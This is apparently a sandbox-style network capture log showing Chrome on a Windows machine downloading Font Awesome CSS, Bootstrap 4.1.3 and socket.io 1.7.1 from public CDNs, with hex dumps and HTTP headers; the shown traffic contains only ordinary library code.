2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 6e 73 20 2a 2f 0a 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 30 22 3b 0a 7d 0a 2e 66 61 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 31 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 32 22 3b 0a 7d 0a 2e 66 61 2d 65 6e 76 65 6c 6f 70 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 33 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 34 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 35 22 3b 0a Data Ascii: ns */.fa-glass:before { content: "\f000";}.fa-music:before { content: "\f001";}.fa-search:before { content: "\f002";}.fa-envelope-o:before { content: "\f003";}.fa-heart:before { content: "\f004";}.fa-star:before { content: "\f005";
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 2e 66 61 2d 72 65 66 72 65 73 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 31 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 73 74 2d 61 6c 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 32 22 3b 0a 7d 0a 2e 66 61 2d 6c 6f 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 33 22 3b 0a 7d 0a 2e 66 61 2d 66 6c 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 34 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 35 22 3b 0a 7d 0a 2e 66 61 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 36 22 Data Ascii: .fa-refresh:before { content: "\f021";}.fa-list-alt:before { content: "\f022";}.fa-lock:before { content: "\f023";}.fa-flag:before { content: "\f024";}.fa-headphones:before { content: "\f025";}.fa-volume-off:before { content: "\f026"
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 30 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 70 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 31 22 3b 0a 7d 0a 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 32 22 3b 0a 7d 0a 2e 66 61 2d 74 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 33 22 3b 0a 7d 0a 2e 66 61 2d 65 64 69 74 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 70 65 6e 63 69 6c 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 34 22 3b 0a 7d 0a 2e 66 61 2d 73 68 61 72 65 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 Data Ascii: { content: "\f040";}.fa-map-marker:before { content: "\f041";}.fa-adjust:before { content: "\f042";}.fa-tint:before { content: "\f043";}.fa-edit:before,.fa-pencil-square-o:before { content: "\f044";}.fa-share-square-o:before { conte
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 61 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 30 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 31 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 32 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 33 22 3b 0a 7d 0a 2e 66 61 2d 6d 61 69 6c 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 73 68 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 34 22 3b 0a 7d 0a 2e 66 61 2d 65 78 70 61 Data Ascii: a-arrow-left:before { content: "\f060";}.fa-arrow-right:before { content: "\f061";}.fa-arrow-up:before { content: "\f062";}.fa-arrow-down:before { content: "\f063";}.fa-mail-forward:before,.fa-share:before { content: "\f064";}.fa-expa
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 72 74 2d 6f 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 30 22 3b 0a 7d 0a 2e 66 61 2d 74 77 69 74 74 65 72 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 31 22 3b 0a 7d 0a 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 32 22 3b 0a 7d 0a 2e 66 61 2d 63 61 6d 65 72 61 2d 72 65 74 72 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 33 22 3b 0a 7d 0a 2e 66 61 2d 6b 65 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 34 22 3b 0a 7d 0a 2e 66 61 2d 67 65 61 72 73 Data Ascii: rt-o:before,.fa-bar-chart:before { content: "\f080";}.fa-twitter-square:before { content: "\f081";}.fa-facebook-square:before { content: "\f082";}.fa-camera-retro:before { content: "\f083";}.fa-key:before { content: "\f084";}.fa-gears
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 2e 66 61 2d 72 73 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 39 65 22 3b 0a 7d 0a 2e 66 61 2d 68 64 64 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 30 22 3b 0a 7d 0a 2e 66 61 2d 62 75 6c 6c 68 6f 72 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 31 22 3b 0a 7d 0a 2e 66 61 2d 62 65 6c 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 66 33 22 3b 0a 7d 0a 2e 66 61 2d 63 65 72 74 69 66 69 63 61 74 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 33 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 34 22 Data Ascii: .fa-rss:before { content: "\f09e";}.fa-hdd-o:before { content: "\f0a0";}.fa-bullhorn:before { content: "\f0a1";}.fa-bell:before { content: "\f0f3";}.fa-certificate:before { content: "\f0a3";}.fa-hand-o-right:before { content: "\f0a4"
2024-12-13 07:35:11 UTC	1378	IN	Data Raw: 61 72 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 39 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 73 74 2d 75 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 61 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 73 74 2d 6f 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 62 22 3b 0a 7d 0a 2e 66 61 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 63 22 3b 0a 7d 0a 2e 66 61 2d 75 6e 64 65 72 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 64 22 3b 0a 7d 0a 2e 66 61 2d 74 61 62 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 63 65 22 3b 0a 7d Data Ascii: ars:before { content: "\f0c9";}.fa-list-ul:before { content: "\f0ca";}.fa-list-ol:before { content: "\f0cb";}.fa-strikethrough:before { content: "\f0cc";}.fa-underline:before { content: "\f0cd";}.fa-table:before { content: "\f0ce";}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49762	104.18.11.207	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:10 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:11 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1458915 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f1446a51c85efa9-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:11 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49764	104.17.25.14	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:10 UTC	610	OUT	GET /ajax/libs/socket.io/1.7.1/socket.io.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:11 UTC	951	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fd5-33bbf" Last-Modified: Mon, 04 May 2020 16:16:21 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Wed, 03 Dec 2025 07:35:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ahTLgbmP2SmMzx0l02NKiFi7%2F8LZDJp5rURaROoROp%2Bmy%2BM6NCR1s3LNRm5dMyBn9xo8WigKjjtRdkptF%2F5vVIaicxW5cbtgyS4yd9%2FTz6IHKyM36ewSZxAquoltyv4BnPC76SuR"}],"group":"cf-nel","max_age":604800} NEL: 